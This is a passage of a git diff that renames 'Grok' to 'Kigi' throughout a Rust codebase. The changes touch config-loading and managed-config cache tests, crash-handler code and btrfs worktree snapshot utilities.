         assert_eq!(
             s.goal_skeptic_models,
             vec![GoalRoleModel {
-                model: "grok-4".to_string(),
+                model: "kigi-4".to_string(),
                 agent_type: "general-purpose".to_string(),
             }]
         );
@@ -1045,28 +1045,28 @@ mod tests {
     fn remote_settings_goal_role_models_malformed_pair_does_not_drop_other_fields() {
         let json = r#"{
             "goal_planner_model": {"model": "broken"},
-            "goal_strategist_model": {"model": "grok-4.5", "agent_type": "cursor"},
-            "default_model": "grok-4"
+            "goal_strategist_model": {"model": "kigi-4.5", "agent_type": "cursor"},
+            "default_model": "kigi-4"
         }"#;
         let s: RemoteSettings = serde_json::from_str(json).unwrap();
         assert_eq!(s.goal_planner_model, None);
         assert_eq!(
             s.goal_strategist_model,
             Some(GoalRoleModel {
-                model: "grok-4.5".to_string(),
+                model: "kigi-4.5".to_string(),
                 agent_type: "cursor".to_string(),
             })
         );
-        assert_eq!(s.default_model.as_deref(), Some("grok-4"));
+        assert_eq!(s.default_model.as_deref(), Some("kigi-4"));
     }
     #[test]
     fn remote_settings_goal_role_model_extra_unknown_fields_kept_single_pair() {
-        let json = r#"{"goal_planner_model": {"model": "grok-4", "agent_type": "general-purpose", "future": true}}"#;
+        let json = r#"{"goal_planner_model": {"model": "kigi-4", "agent_type": "general-purpose", "future": true}}"#;
         let s: RemoteSettings = serde_json::from_str(json).unwrap();
         assert_eq!(
             s.goal_planner_model,
             Some(GoalRoleModel {
-                model: "grok-4".to_string(),
+                model: "kigi-4".to_string(),
                 agent_type: "general-purpose".to_string(),
             })
         );
diff --git a/crates/codegen/kigi-config/Cargo.toml b/crates/codegen/kigi-config/Cargo.toml
index d065258..8e749b1 100644
--- a/crates/codegen/kigi-config/Cargo.toml
+++ b/crates/codegen/kigi-config/Cargo.toml
@@ -3,7 +3,7 @@ license = "Apache-2.0"
 name = "kigi-config"
 version.workspace = true
 edition.workspace = true
-description = "Shared config loading for Grok — kigi_home, effective config (requirements > user > managed), TOML merge"
+description = "Shared config loading for Kigi — kigi_home, effective config (requirements > user > managed), TOML merge"
 
 [dependencies]
 base64 = { workspace = true }
diff --git a/crates/codegen/kigi-config/src/lib.rs b/crates/codegen/kigi-config/src/lib.rs
index 3792775..245b3e7 100644
--- a/crates/codegen/kigi-config/src/lib.rs
+++ b/crates/codegen/kigi-config/src/lib.rs
@@ -1,4 +1,4 @@
-//! Config file loading for Grok.
+//! Config file loading for Kigi.
 //!
 //! Merge order (lowest → highest priority):
 //! 1. `/etc/kigi/managed_config.toml`
diff --git a/crates/codegen/kigi-config/src/loader.rs b/crates/codegen/kigi-config/src/loader.rs
index ac94331..86b3eb3 100644
--- a/crates/codegen/kigi-config/src/loader.rs
+++ b/crates/codegen/kigi-config/src/loader.rs
@@ -73,7 +73,7 @@ fn line_col(src: &str, byte: usize) -> (usize, usize) {
 }
 
 /// [`load_toml_file`] plus that layer's `[[version_overrides]]`. Use for
-/// grok config files; use [`load_toml_file`] directly for unrelated TOML.
+/// kigi config files; use [`load_toml_file`] directly for unrelated TOML.
 pub fn load_config_file(path: &Path) -> std::io::Result<toml::Value> {
     let mut v = load_toml_file(path)?;
     apply_version_overrides_with_registered(&mut v)?;
@@ -637,7 +637,7 @@ mod tests {
     fn load_user_config_layer_reads_file_when_home_present() {
         use std::io::Write;
 
-        let dir = std::env::temp_dir().join(format!("grok-load-layer-{}", std::process::id()));
+        let dir = std::env::temp_dir().join(format!("kigi-load-layer-{}", std::process::id()));
         std::fs::create_dir_all(&dir).unwrap();
         let mut f = std::fs::File::create(dir.join("config.toml")).unwrap();
         writeln!(f, "[telemetry]\nmode = \"from_file\"\n").unwrap();
@@ -651,7 +651,7 @@ mod tests {
     /// snippet, which can carry a secret and would reach a client caller.
     #[test]
     fn parse_error_keeps_kind_but_not_snippet() {
-        let dir = std::env::temp_dir().join(format!("grok-toml-leak-{}", std::process::id()));
+        let dir = std::env::temp_dir().join(format!("kigi-toml-leak-{}", std::process::id()));
         std::fs::create_dir_all(&dir).unwrap();
         let path = dir.join("bad.toml");
         // Duplicate key: the message names the key; the secret-bearing source line is only in Display.
diff --git a/crates/codegen/kigi-config/src/managed_cache.rs b/crates/codegen/kigi-config/src/managed_cache.rs
index d436d55..81c7da8 100644
--- a/crates/codegen/kigi-config/src/managed_cache.rs
+++ b/crates/codegen/kigi-config/src/managed_cache.rs
@@ -67,7 +67,7 @@ pub fn mark_managed_config_synced(marker: SyncMarker<'_>) {
     }
 }
 
-/// Server-side GrokBuildDeployment UUID from the last deploy-key managed-config
+/// Server-side KigiDeployment UUID from the last deploy-key managed-config
 /// sync, bound to the key that synced it: returns the marker's `principal` only
 /// when the marker's `key_fingerprint` equals `key_fingerprint`, so a rotated or
 /// removed key never reports the previous deployment's id. Team-path syncs store
diff --git a/crates/codegen/kigi-config/src/managed_cache/tests.rs b/crates/codegen/kigi-config/src/managed_cache/tests.rs
index 4aadd04..e3c8246 100644
--- a/crates/codegen/kigi-config/src/managed_cache/tests.rs
+++ b/crates/codegen/kigi-config/src/managed_cache/tests.rs
@@ -257,7 +257,7 @@ fn managed_config_stale_at_is_false_without_user_home() {
 
 #[test]
 fn managed_config_stale_at_is_true_without_synced_marker() {
-    let dir = std::env::temp_dir().join(format!("grok-stale-nomark-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-stale-nomark-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
     let _ = std::fs::remove_file(dir.join(MANAGED_CONFIG_CACHE_FILE));
     // No recorded sync (even if config files exist) => stale.
@@ -267,7 +267,7 @@ fn managed_config_stale_at_is_true_without_synced_marker() {
 
 #[test]
 fn managed_config_stale_at_is_false_after_fresh_sync() {
-    let dir = std::env::temp_dir().join(format!("grok-stale-fresh-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-stale-fresh-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
     mark_managed_config_synced_at(
         &dir,
@@ -286,7 +286,7 @@ fn managed_config_stale_at_is_false_after_fresh_sync() {
 
 #[test]
 fn managed_deployment_id_at_requires_matching_fingerprint() {
-    let dir = std::env::temp_dir().join(format!("grok-dep-id-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-dep-id-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
     let server_dep = "37c96487-eda9-4bb2-a767-6444274423c8";
     // Deploy-key path: fingerprint set, principal = server deployment UUID.
@@ -324,7 +324,7 @@ fn managed_deployment_id_at_requires_matching_fingerprint() {
 
 #[test]
 fn managed_config_stale_at_is_true_for_old_sync() {
-    let dir = std::env::temp_dir().join(format!("grok-stale-old-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-stale-old-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
     let hour_ago = std::time::SystemTime::now()
         .duration_since(std::time::UNIX_EPOCH)
@@ -344,7 +344,7 @@ fn managed_config_stale_at_is_true_for_old_sync() {
 /// A served-then-deleted artifact reads stale regardless of the timer.
 #[test]
 fn managed_config_stale_when_served_artifact_deleted() {
-    let dir = std::env::temp_dir().join(format!("grok-stale-artgone-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-stale-artgone-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
     mark_managed_config_synced_at(
         &dir,
@@ -366,7 +366,7 @@ fn managed_config_stale_when_served_artifact_deleted() {
 /// A config-less principal that served nothing is never misread as stale.
 #[test]
 fn managed_config_not_stale_when_nothing_served() {
-    let dir = std::env::temp_dir().join(format!("grok-stale-noart-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-stale-noart-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
     mark_managed_config_synced_at(
         &dir,
@@ -385,7 +385,7 @@ fn managed_config_not_stale_when_nothing_served() {
 /// A cache fetched for a different principal is stale for the current one.
 #[test]
 fn managed_config_stale_on_identity_mismatch() {
-    let dir = std::env::temp_dir().join(format!("grok-stale-ident-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-stale-ident-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
     mark_managed_config_synced_at(
         &dir,
@@ -408,7 +408,7 @@ fn managed_config_stale_on_identity_mismatch() {
 /// Legacy marker (no `had_*`) is never flagged missing-artifact-stale.
 #[test]
 fn managed_config_legacy_marker_is_conservative() {
-    let dir = std::env::temp_dir().join(format!("grok-stale-legacy-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-stale-legacy-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
     let now = std::time::SystemTime::now()
         .duration_since(std::time::UNIX_EPOCH)
@@ -429,7 +429,7 @@ fn managed_config_legacy_marker_is_conservative() {
 /// Hard-staleness: missing artifact or identity mismatch → true; a fresh same-identity cache → false.
 #[test]
 fn hard_stale_only_on_missing_or_identity() {
-    let dir = std::env::temp_dir().join(format!("grok-hardstale-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-hardstale-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
     mark_managed_config_synced_at(
         &dir,
@@ -455,7 +455,7 @@ fn hard_stale_only_on_missing_or_identity() {
 /// No marker → hard-stale (never synced → fetch before use).
 #[test]
 fn hard_stale_without_marker() {
-    let dir = std::env::temp_dir().join(format!("grok-hardstale-nomark-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-hardstale-nomark-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
     let _ = std::fs::remove_file(dir.join(MANAGED_CONFIG_CACHE_FILE));
     assert!(is_managed_config_hard_stale_for_at(&dir, &team("team-a")));
@@ -466,7 +466,7 @@ fn hard_stale_without_marker() {
 /// must not lock a managed user out) and the cache is hard-stale so the next sync rewrites it.
 #[test]
 fn corrupt_marker_reads_as_no_marker_and_allows() {
-    let dir = std::env::temp_dir().join(format!("grok-corrupt-marker-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-corrupt-marker-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
     std::fs::write(dir.join("requirements.toml"), "fail_closed = true\n").unwrap();
     std::fs::write(dir.join(MANAGED_CONFIG_CACHE_FILE), "{ not valid json").unwrap();
@@ -482,7 +482,7 @@ fn corrupt_marker_reads_as_no_marker_and_allows() {
 /// A deploy-key switch is detected offline as an identity mismatch (`cache_unusable_for`) and refetched online.
 #[test]
 fn deployment_key_switch_is_stale_and_tampered_offline() {
-    let dir = std::env::temp_dir().join(format!("grok-dk-switch-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-dk-switch-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
     // Provisioned with key A: principal = served deployment_id, fingerprint = fp-a.
     mark_managed_config_synced_at(
@@ -510,7 +510,7 @@ fn deployment_key_switch_is_stale_and_tampered_offline() {
 /// A pre-upgrade marker (no `key_fingerprint`) must not fire when a key is now configured — it self-upgrades next sync.
 #[test]
 fn pre_upgrade_marker_without_fingerprint_does_not_fire_on_key() {
-    let dir = std::env::temp_dir().join(format!("grok-dk-preupgrade-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-dk-preupgrade-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
     let now = std::time::SystemTime::now()
         .duration_since(std::time::UNIX_EPOCH)
@@ -535,7 +535,7 @@ fn pre_upgrade_marker_without_fingerprint_does_not_fire_on_key() {
 /// The team path keys on `principal` (team id), records no fingerprint, and never fires a key mismatch.
 #[test]
 fn team_path_keys_on_principal_not_key_fingerprint() {
-    let dir = std::env::temp_dir().join(format!("grok-team-nofp-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-team-nofp-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
     mark_managed_config_synced_at(
         &dir,
@@ -565,7 +565,7 @@ fn team_path_keys_on_principal_not_key_fingerprint() {
 /// The eviction trigger fires only on a confirmed switch; first sync, same identity, `None`, and pre-upgrade markers never fire.
 #[test]
 fn identity_changed_only_on_confirmed_switch() {
-    let dir = std::env::temp_dir().join(format!("grok-ident-changed-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-ident-changed-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
 
     // No marker yet → first sync, nothing to evict.
@@ -646,7 +646,7 @@ fn identity_changed_only_on_confirmed_switch() {
 /// make the gate purge / apply eviction shed a real tenant's policy.
 #[test]
 fn blank_principal_is_never_a_confirmed_switch() {
-    let dir = std::env::temp_dir().join(format!("grok-ident-blank-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-ident-blank-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
 
     // Real recorded team, blank current → not a switch.
@@ -724,7 +724,7 @@ fn blank_principal_is_never_a_confirmed_switch() {
 /// Compromised only when opted in AND tampered; opted-out / never-synced / config-less / intact is never flagged.
 #[test]
 fn compromised_only_when_opted_in_and_deleted_or_substituted() {
-    let dir = std::env::temp_dir().join(format!("grok-compromised-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-compromised-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
 
     // No marker → not compromised.
@@ -787,7 +787,7 @@ fn compromised_only_when_opted_in_and_deleted_or_substituted() {
 /// deleted under a fail_closed marker is compromised.
 #[test]
 fn compromised_on_managed_config_deletion_when_fail_closed() {
-    let dir = std::env::temp_dir().join(format!("grok-compromised-mc-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-compromised-mc-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
     std::fs::write(dir.join("managed_config.toml"), "[cli]\n").unwrap();
     mark_managed_config_synced_at(
@@ -811,7 +811,7 @@ fn compromised_on_managed_config_deletion_when_fail_closed() {
 /// Deployment-key path: an opted-in marker is compromised on an offline key switch (the fingerprint is the only offline identity).
 #[test]
 fn compromised_on_deployment_key_switch_when_fail_closed() {
-    let dir = std::env::temp_dir().join(format!("grok-compromised-dk-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-compromised-dk-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
 
     // Provisioned with key A (fp-a), opted into fail_closed, artifact present.
@@ -853,7 +853,7 @@ fn compromised_on_deployment_key_switch_when_fail_closed() {
 /// never a pure identity mismatch; staleness still treats that mismatch as a refetch trigger (asserted alongside).
 #[test]
 fn gate_excludes_pure_identity_mismatch_but_keeps_artifact_and_key_tamper() {
-    let dir = std::env::temp_dir().join(format!("grok-gate-fix1-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-gate-fix1-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
 
     // (1) Principal A (fail_closed), artifact intact; serving team-b = pure identity mismatch → ALLOWED.
@@ -918,7 +918,7 @@ fn gate_excludes_pure_identity_mismatch_but_keeps_artifact_and_key_tamper() {
 /// Opt-in comes from the served response, not disk, so a no-write sync can't disarm the gate.
 #[test]
 fn mark_keeps_fail_closed_armed_without_on_disk_file() {
-    let dir = std::env::temp_dir().join(format!("grok-mark-disarm-{}", std::process::id()));
+    let dir = std::env::temp_dir().join(format!("kigi-mark-disarm-{}", std::process::id()));
     std::fs::create_dir_all(&dir).unwrap();
 
     // Opted-in policy served + present → not compromised (intact).
diff --git a/crates/codegen/kigi-config/src/validation.rs b/crates/codegen/kigi-config/src/validation.rs
index cfdea5c..8972352 100644
--- a/crates/codegen/kigi-config/src/validation.rs
+++ b/crates/codegen/kigi-config/src/validation.rs
@@ -261,7 +261,7 @@ mod tests {
     fn load_requirements_layer_soft_fails_on_invalid_version_overrides() {
         use std::io::Write;
 
-        let dir = std::env::temp_dir().join(format!("grok-vo-soft-{}", std::process::id()));
+        let dir = std::env::temp_dir().join(format!("kigi-vo-soft-{}", std::process::id()));
         std::fs::create_dir_all(&dir).unwrap();
         let path = dir.join("requirements.toml");
         let mut f = std::fs::File::create(&path).unwrap();
@@ -285,7 +285,7 @@ telemetry = true
     fn validate_requirements_layer_errs_on_fail_closed_violation() {
         use std::io::Write;
 
-        let dir = std::env::temp_dir().join(format!("grok-vo-validate-{}", std::process::id()));
+        let dir = std::env::temp_dir().join(format!("kigi-vo-validate-{}", std::process::id()));
         std::fs::create_dir_all(&dir).unwrap();
         let path = dir.join("requirements.toml");
         let mut f = std::fs::File::create(&path).unwrap();
@@ -311,7 +311,7 @@ minimum_version = "not-a-version"
     fn validate_requirements_layer_ok_without_fail_closed() {
         use std::io::Write;
 
-        let dir = std::env::temp_dir().join(format!("grok-vo-soft2-{}", std::process::id()));
+        let dir = std::env::temp_dir().join(format!("kigi-vo-soft2-{}", std::process::id()));
         std::fs::create_dir_all(&dir).unwrap();
         let path = dir.join("requirements.toml");
         let mut f = std::fs::File::create(&path).unwrap();
@@ -377,7 +377,7 @@ minimum_version = "not-a-version"
     fn fail_closed_key_is_stripped_from_returned_layer() {
         use std::io::Write;
 
-        let dir = std::env::temp_dir().join(format!("grok-vo-strip-{}", std::process::id()));
+        let dir = std::env::temp_dir().join(format!("kigi-vo-strip-{}", std::process::id()));
         std::fs::create_dir_all(&dir).unwrap();
         let path = dir.join("requirements.toml");
         let mut f = std::fs::File::create(&path).unwrap();
@@ -403,7 +403,7 @@ minimum_version = "not-a-version"
     fn load_user_requirements_reads_layer_when_home_present() {
         use std::io::Write;
 
-        let dir = std::env::temp_dir().join(format!("grok-req-load-{}", std::process::id()));
+        let dir = std::env::temp_dir().join(format!("kigi-req-load-{}", std::process::id()));
         std::fs::create_dir_all(&dir).unwrap();
         let mut f = std::fs::File::create(dir.join("requirements.toml")).unwrap();
         writeln!(f, "[features]\ntelemetry = true\n").unwrap();
@@ -423,7 +423,7 @@ minimum_version = "not-a-version"
     fn validate_user_requirements_errs_on_fail_closed_violation() {
         use std::io::Write;
 
-        let dir = std::env::temp_dir().join(format!("grok-req-validate-{}", std::process::id()));
+        let dir = std::env::temp_dir().join(format!("kigi-req-validate-{}", std::process::id()));
         std::fs::create_dir_all(&dir).unwrap();
         let mut f = std::fs::File::create(dir.join("requirements.toml")).unwrap();
         writeln!(
diff --git a/crates/codegen/kigi-crash-handler/src/handler.rs b/crates/codegen/kigi-crash-handler/src/handler.rs
index bacdf9c..8577906 100644
--- a/crates/codegen/kigi-crash-handler/src/handler.rs
+++ b/crates/codegen/kigi-crash-handler/src/handler.rs
@@ -438,7 +438,7 @@ mod imp {
 
     /// Install the crash handler. Must be called early in `main()`, before any
     /// terminal initialization or async runtime setup.
-    pub fn install(crash_dir: &Path, grok_version: &str) -> bool {
+    pub fn install(crash_dir: &Path, kigi_version: &str) -> bool {
         let crash_file = crash_dir.join("last-crash.bin");
 
         // Create the crash directory if it doesn't exist.
@@ -467,8 +467,8 @@ mod imp {
         unsafe {
             let version = &mut *std::ptr::addr_of_mut!(APP_VERSION);
             version.fill(0);
-            let copy_len = grok_version.len().min(format::VERSION_STRING_LEN);
-            version[..copy_len].copy_from_slice(&grok_version.as_bytes()[..copy_len]);
+            let copy_len = kigi_version.len().min(format::VERSION_STRING_LEN);
+            version[..copy_len].copy_from_slice(&kigi_version.as_bytes()[..copy_len]);
         }
 
         save_termios();
@@ -749,7 +749,7 @@ mod win {
         }
     }
 
-    pub fn install(crash_dir: &Path, grok_version: &str) -> bool {
+    pub fn install(crash_dir: &Path, kigi_version: &str) -> bool {
         use std::os::windows::ffi::OsStrExt;
 
         let crash_file = crash_dir.join("last-crash.bin");
@@ -784,8 +784,8 @@ mod win {
         unsafe {
             let version = &mut *std::ptr::addr_of_mut!(APP_VERSION);
             version.fill(0);
-            let copy_len = grok_version.len().min(format::VERSION_STRING_LEN);
-            version[..copy_len].copy_from_slice(&grok_version.as_bytes()[..copy_len]);
+            let copy_len = kigi_version.len().min(format::VERSION_STRING_LEN);
+            version[..copy_len].copy_from_slice(&kigi_version.as_bytes()[..copy_len]);
         }
 
         unsafe {
diff --git a/crates/codegen/kigi-crash-handler/src/symbolicate.rs b/crates/codegen/kigi-crash-handler/src/symbolicate.rs
index f5b30ce..1c30858 100644
--- a/crates/codegen/kigi-crash-handler/src/symbolicate.rs
+++ b/crates/codegen/kigi-crash-handler/src/symbolicate.rs
@@ -50,7 +50,7 @@ pub fn resolve_frames(blob: &CrashBlob) -> Vec<ResolvedFrame> {
 pub fn format_report(blob: &CrashBlob, frames: &[ResolvedFrame]) -> String {
     let mut out = String::with_capacity(4096);
 
-    out.push_str("=== Grok Crash Report ===\n\n");
+    out.push_str("=== Kigi Crash Report ===\n\n");
 
     out.push_str(&format!("Signal:  {}\n", signal_name(blob.signal)));
     out.push_str(&format!(
diff --git a/crates/codegen/kigi-env/Cargo.toml b/crates/codegen/kigi-env/Cargo.toml
index a8dc4c1..757ff63 100644
--- a/crates/codegen/kigi-env/Cargo.toml
+++ b/crates/codegen/kigi-env/Cargo.toml
@@ -3,7 +3,7 @@ license = "Apache-2.0"
 name = "kigi-env"
 version.workspace = true
 edition.workspace = true
-description = "Backend environment presets for the Grok CLI crate family: endpoint URL defaults and env-var test support."
+description = "Backend environment presets for the Kigi CLI crate family: endpoint URL defaults and env-var test support."
 
 [features]
 # single shared rlib per crate, so downstream Bazel test targets need the
diff --git a/crates/codegen/kigi-fast-worktree/src/api.rs b/crates/codegen/kigi-fast-worktree/src/api.rs
index 8854064..0473162 100644
--- a/crates/codegen/kigi-fast-worktree/src/api.rs
+++ b/crates/codegen/kigi-fast-worktree/src/api.rs
@@ -968,7 +968,7 @@ fn try_btrfs_remove(
             // Known residual TOCTOU: validation `lstat`s/canonicalizes then we
             // delete by path (the `btrfs subvolume delete` CLI takes a path, not
             // an fd, so there is no `unlinkat` to close the window). Bounded by:
-            // `btrfs` refuses non-subvolumes, the snapshot dir is grok-owned, and
+            // `btrfs` refuses non-subvolumes, the snapshot dir is kigi-owned, and
             // `..`/symlink targets are already rejected. Accepted as-is.
             if let Some(report) = delete_snapshot_with_delegate_fallback(
                 &resolved,
@@ -2186,7 +2186,7 @@ mod tests {
         use kigi_test_utils::git::{git_commit_all, init_git_repo};
         // Isolate KIGI_SHARE_DIR so the post-removal unregister writes to a private DB.
         #[cfg(feature = "metadata")]
-        let _fx = crate::db::GrokHomeFixture::new();
+        let _fx = crate::db::KigiHomeFixture::new();
 
         let tmp = tempfile::TempDir::new().unwrap();
         let repo = tmp.path().join("repo");
@@ -2837,7 +2837,7 @@ mod tests {
         fn register_worktree_writes_correct_fields() {
             // Isolate KIGI_SHARE_DIR so register_worktree's open_default write lands
             // in our own DB (lock + private tmp + restore via the fixture).
-            let fx = crate::db::GrokHomeFixture::new();
+            let fx = crate::db::KigiHomeFixture::new();
 
             // Unique basename → unique id, so a concurrent open_default writer
             // (KIGI_SHARE_DIR is process-global) can't INSERT-OR-REPLACE our row.
@@ -3411,7 +3411,7 @@ mod tests {
             // remove_worktree must keep the DB record when the on-disk removal
             // fails, so the worktree isn't lost from tracking while leaking on
             // disk (unregister only after a successful removal).
-            let fx = crate::db::GrokHomeFixture::new();
+            let fx = crate::db::KigiHomeFixture::new();
 
             // A regular file makes remove_dir_all fail (ENOTDIR) deterministically.
             let wt_path = fx.home.join("doomed-wt");
@@ -3454,7 +3454,7 @@ mod tests {
             kigi_test_utils::require_git!();
             use kigi_test_utils::git::{git_commit_all, init_git_repo};
 
-            let fx = crate::db::GrokHomeFixture::new();
+            let fx = crate::db::KigiHomeFixture::new();
 
             // A real repo + a real worktree so remove_worktree succeeds on disk.
             let repo = fx.home.join("repo");
@@ -3504,7 +3504,7 @@ mod tests {
 
             // KIGI_SHARE_DIR == the gc DB dir so remove_worktree's open_default
             // unregister hits the same DB the gc record lives in.
-            let fx = crate::db::GrokHomeFixture::new();
+            let fx = crate::db::KigiHomeFixture::new();
             let db = WorktreeDb::open(&fx.home).unwrap();
 
             let dir = fx.home.join("expired-wt");
diff --git a/crates/codegen/kigi-fast-worktree/src/btrfs/snapshot.rs b/crates/codegen/kigi-fast-worktree/src/btrfs/snapshot.rs
index f6355c3..79ecfdb 100644
--- a/crates/codegen/kigi-fast-worktree/src/btrfs/snapshot.rs
+++ b/crates/codegen/kigi-fast-worktree/src/btrfs/snapshot.rs
@@ -141,7 +141,7 @@ pub fn create_snapshot_with_symlink(btrfs_info: &BtrfsInfo, dest: &Path) -> Resu
             })?;
         } else if !is_safe_snapshot_delete_target(&snapshot_path) {
             bail!(
-                "refusing to delete pre-existing snapshot {}: outside grok-managed \
+                "refusing to delete pre-existing snapshot {}: outside kigi-managed \
                  btrfs storage",
                 snapshot_path.display()
             );
@@ -251,7 +251,7 @@ pub fn snapshot_dest_path(btrfs_mount: &Path, subvolume_root: &Path, dest: &Path
 ///
 /// Symlinks cross mount namespaces and persist across process exits, so the
 /// worktree at `dest` stays visible to the user's other shells and survives a
-/// grok restart.
+/// kigi restart.
 ///
 /// Destructive contract: a pre-existing **stale symlink** at `dest` is unlinked;
 /// a pre-existing **directory** is removed only if empty (`remove_dir`). A
@@ -351,7 +351,7 @@ pub fn delete_snapshot(path: &Path) -> Result<()> {
 ///   canonicalized parent's final component is one of [`BTRFS_SNAPSHOT_SUBDIRS`]
 ///   (`worktrees` or `.kigi-snapshots`),
 /// - and that directory sits **directly under a real btrfs mount point** (from
-///   the live mount table), anchoring the delete to grok-managed storage rather
+///   the live mount table), anchoring the delete to kigi-managed storage rather
 ///   than any directory that merely happens to be named `worktrees`.
 ///
 /// Treat all symlink targets and metadata paths as untrusted input and pass
diff --git a/crates/codegen/kigi-fast-worktree/src/copy/gitdir.rs b/crates/codegen/kigi-fast-worktree/src/copy/gitdir.rs
index 7e35488..fc447de 100644
--- a/crates/codegen/kigi-fast-worktree/src/copy/gitdir.rs
+++ b/crates/codegen/kigi-fast-worktree/src/copy/gitdir.rs
@@ -500,7 +500,7 @@ mod tests {
     #[test]
     fn test_copy_git_dir_preserves_worktree_source_marker() {
         // A worktree-from-worktree (standalone) must inherit the source's
-        // `grok-worktree-source` marker so it still points at the ultimate
+        // `kigi-worktree-source` marker so it still points at the ultimate
         // main repo rather than the intermediate worktree.
         let temp = TempDir::new().unwrap();
         let source_git = temp.path().join("source/.git");
@@ -508,12 +508,12 @@ mod tests {
 
         std::fs::create_dir_all(&source_git).unwrap();
         std::fs::write(source_git.join("HEAD"), "ref: refs/heads/main\n").unwrap();
-        std::fs::write(source_git.join("grok-worktree-source"), "/main/repo").unwrap();
+        std::fs::write(source_git.join("kigi-worktree-source"), "/main/repo").unwrap();
 
         copy_git_dir(&source_git, &dest_git).unwrap();
 
         assert_eq!(
-            std::fs::read_to_string(dest_git.join("grok-worktree-source")).unwrap(),
+            std::fs::read_to_string(dest_git.join("kigi-worktree-source")).unwrap(),
             "/main/repo"
         );
     }
diff --git a/crates/codegen/kigi-fast-worktree/src/db/mod.rs b/crates/codegen/kigi-fast-worktree/src/db/mod.rs
index 62089c3..765053b 100644
--- a/crates/codegen/kigi-fast-worktree/src/db/mod.rs
+++ b/crates/codegen/kigi-fast-worktree/src/db/mod.rs
@@ -203,7 +203,7 @@ impl WorktreeDb {
 
     /// Open the default DB at `~/.kigi/worktrees.db`.
     ///
-    /// Discovers grok home via `$KIGI_SHARE_DIR`, falling back to the canonicalized
+    /// Discovers kigi home via `$KIGI_SHARE_DIR`, falling back to the canonicalized
     /// `$HOME/.kigi` (matching `kigi_config::kigi_home`).
     /// Path is resolved fresh each call (~1µs env var read) to support
     /// test overrides. Each call opens its own connection — callers in hot
@@ -365,23 +365,23 @@ static KIGI_SHARE_DIR_ENV_LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(())
 /// `Drop` restores `KIGI_SHARE_DIR` before `_lock` releases, so the env is correct
 /// before another waiting setter proceeds.
 #[cfg(test)]
-pub(crate) struct GrokHomeFixture {
+pub(crate) struct KigiHomeFixture {
     _lock: std::sync::MutexGuard<'static, ()>,
     prev: Option<std::ffi::OsString>,
-    /// The isolated grok home; pass to `WorktreeDb::open` to read the same DB
+    /// The isolated kigi home; pass to `WorktreeDb::open` to read the same DB
     /// `open_default()` writes to.
     pub home: PathBuf,
     _tmp: tempfile::TempDir,
 }
 
 #[cfg(test)]
-impl GrokHomeFixture {
+impl KigiHomeFixture {
     pub(crate) fn new() -> Self {
         let lock = KIGI_SHARE_DIR_ENV_LOCK
             .lock()
             .unwrap_or_else(|e| e.into_inner());
         let tmp = tempfile::TempDir::new().unwrap();
-        let home = tmp.path().join("grok-home");
+        let home = tmp.path().join("kigi-home");
         std::fs::create_dir_all(&home).unwrap();
         // Warm up the DB (journal-mode conversion + schema) before exposing it
         // via KIGI_SHARE_DIR, sparing the test hot loop set_journal_mode's retry
@@ -401,7 +401,7 @@ impl GrokHomeFixture {
 }
 
 #[cfg(test)]
-impl Drop for GrokHomeFixture {
+impl Drop for KigiHomeFixture {
     fn drop(&mut self) {
         unsafe {
             match self.prev.take() {
diff --git a/crates/codegen/kigi-fast-worktree/src/git/checkout.rs b/crates/codegen/kigi-fast-worktree/src/git/checkout.rs
index 9f70987..1df76ad 100644
--- a/crates/codegen/kigi-fast-worktree/src/git/checkout.rs
+++ b/crates/codegen/kigi-fast-worktree/src/git/checkout.rs
@@ -247,7 +247,7 @@ fn scratch_index_path() -> PathBuf {
         .unwrap_or(0);
     let seq = COUNTER.fetch_add(1, Ordering::Relaxed);
     std::env::temp_dir().join(format!(
-        "grok-snapshot-index-{}-{nanos}-{seq}",
+        "kigi-snapshot-index-{}-{nanos}-{seq}",
         std::process::id()
     ))
 }
@@ -259,7 +259,7 @@ fn scratch_index_path() -> PathBuf {
 /// (even if they also match a `.gitignore` rule); only *untracked* files
 /// matching `.gitignore` are excluded.
 ///
